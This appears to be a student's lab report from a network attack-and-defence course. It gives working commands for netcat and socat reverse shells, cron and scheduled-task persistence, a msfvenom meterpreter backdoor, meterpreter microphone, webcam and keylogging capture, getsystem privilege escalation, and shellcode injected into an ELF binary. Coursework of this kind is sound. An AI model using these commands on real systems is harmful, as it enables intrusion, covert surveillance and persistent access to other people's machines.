20222422 2024-2025-1 《网络与系统攻防技术》实验二实验报告

一.实验内容

(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)

PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程

(2)使用socat获取主机操作Shell, 任务计划启动

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

二.实验过程

1.使用netcat获取主机操作Shell,cron启动某项任务

(1)查看主机和虚拟机ip

主机:

虚拟机:

(2)使用netcat进行连接并获取shell

主机cmd进入ncat所在目录,输入指令:ncat.exe -l -p 2422

虚拟机登入root用户,输入指令:nc 172.20.10.9 2422 -e /bin/sh

win主机输入指令,测试主机是否成功获取虚拟机shell

如上图,成功获取。

(3)通过设置cron使得kali启动定时任务。

进入虚拟机的虚拟机的root账户,输入crontab -e

输入指令30 * * * * /bin/netcat 172.20.10.9 2422 -e /bin/sh,设置为在每小时的第30分钟启动任务,之后输入crontab -l查看时程表:

此时,在虚拟机/var/spool/cron/crontabs文件中会出现一个root文件

将主机与虚拟机建立好连接,输入:echo "* * * * * echo "20222422" > /home/kali/2422_1.txt" > /var/spool/cron/crontabs/root

查看文件是否被成功修改:

如上图,已被成功修改。

2. 使用socat获取主机操作Shell,任务计划启动

首先在主机端安装socat,然后将cmd调至socat所在文件

在主机输入:socat.exe tcp-listen:2422 exec:cmd.exe,pty,stderr,把cmd.exe绑定到端口2422,并把cmd.exe的stderr重定向到stdout

在虚拟机上输入:socat - tcp:192.168.1.113:2422

在主机端编写程序:

在虚拟机输入:schtasks /create /sc minute /mo 1 /tn "20222422tky" /tr E:\桌面\大三上学期\网络攻防\实验二\code\bin\Debug\code.exe来每一分钟执行一次这个程序:

在主机上,打开计算机管理,看到正在运行的任务名“20222422tky”,说明实验成功。

3.在Linux下使用MSF meterpreter生成可执行文件,利用ncat或socat传送到Windows主机并运行获取主机shell

关闭windows的实时保护,同时关闭防火墙进行实验。

(1)生成后门文件

获取虚拟机ip

得到虚拟机ip为:192.168.198.130

输入:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.198.130 LPORT=2422 -f exe > 2422backdoor.exe(使用msfvenom 工具生成一个反向 TCP Meterpreter shell 的 payload,并将其保存到一个可执行文件中。)

主机进入ncat所在目录下,输入指令:
ncat.exe -lv 2422 > "E:\桌面\2422backdoor.exe"(监听2422窗口等待接收可执行文件2422backdoor.exe,并将2422backdoor.exe文件存放在桌面上)

虚拟机上输入指令:
nc 192.168.1.113 2422 < 2422backdoor.exe(将生成的后门文件2422backdoor.exe传给主机)

成功在桌面上接收到文件:

(3)配置监听模块

回到虚拟机,在Kali终端输入命令msfconsole,然后对监听模块进行配置:

use exploit/multi/handler(使用监听模块,设置payload)

set payload windows/meterpreter/reverse_tcp (使用和生成后门程序时相同的payload)

set LHOST 192.168.198,131 (攻击机的IP地址,和生成后门程序时指定的IP相同)

set LPORT 2422(监听的端口)

接着输入exploit,使监听模块开始运行,并在Windows运行后门2422backdoor.exe文件

4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

(1)获取目标主机音频、截屏、摄像头、键盘记录

在exploit模块中继续输入以下命令:

record_mic   (音频)

screenshot   (截屏)

webcam_snap (拍照)

keyscan_start (开始读取键盘记录)

keyscan_dump (读取键盘记录结束)

结果如下:(键盘记录的字符串将直接显示在命令栏上)

(2)提权

使用管理员身份运行windows的cmd,继续在exploit模块中继续输入:

getuid (查看当前用户)

getsystem (提权指令)

5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

在kali命令行下输入:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.198.131 LPORT=2422 -x /root/Desktop/pwn20222422 -f elf > pwn_2422

(使用了msfvenom 工具生成一个 Meterpreter 反向 TCP shell的 payload,并将其注入到指定的可执行文件中,然后将结果输出到一个名为pwn_2422的文件中。)

对生成的pwn_2422文件赋予权限:

重现监听:

打开另一个shell,运行生成的2422_pwn文件(需要使用root权限),回到第一个终端,成功实现远程控制shell

3.问题及解决方案

问题一:在使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell实验中,最开始输入的命令是msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.198.131 LPORT=2422 -x /root/Desktop/pwn20222422 -f elf > 2422_pwn,随后在监听中也使用的是linux/x64/meterpreter/reverse_tcp的payload,发现实验无法成功。

问题一解决:将命令里的x64更改为x86,即linux/x86/meterpreter/reverse_tcp后再进行后续步骤,发现实验成功。

问题二:在生成后门文件,并传输到windows后,发现windows不让启动后门文件,且过段时间会自动删除。

问题二解决:在实验前把windows的防火墙和实时保护等功能关闭,发现能够成功运行后门文件。

问题三:在使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell实验中,发现生成的pwn_2422无法执行,没有权限。

问题三解决:输入chmod a+x pwn_2422和chmod 755 pwn_2422来赋予权限,得以解决。

4.学习感悟、思考等

这次实验让我深刻体会到了网络安全工具的多样性和强大功能。无论是netcat、socat这样的网络工具,还是Metasploit Framework(MSF)这样的渗透测试框架,它们都在各自的领域内发挥着不可替代的作用。通过学习和使用这些工具,我不仅掌握了它们的基本操作,更重要的是,我学会了如何根据实际需求灵活运用它们,以达到预期的安全目标。
实验过程中遇到的种种挑战和困难,让我深刻认识到了网络安全领域的复杂性和动态性。无论是缓冲区溢出、权限提升,还是信息收集、远程监控,每一个实验都涉及到了多个层面的知识和技能。在解决问题的过程中,我不仅锻炼了自己的逻辑思维和问题解决能力,还学会了如何快速适应和应对不断变化的网络环境。

posted @ 2024-10-20 16:17  某热心市民  阅读(12)  评论(0编辑  收藏  举报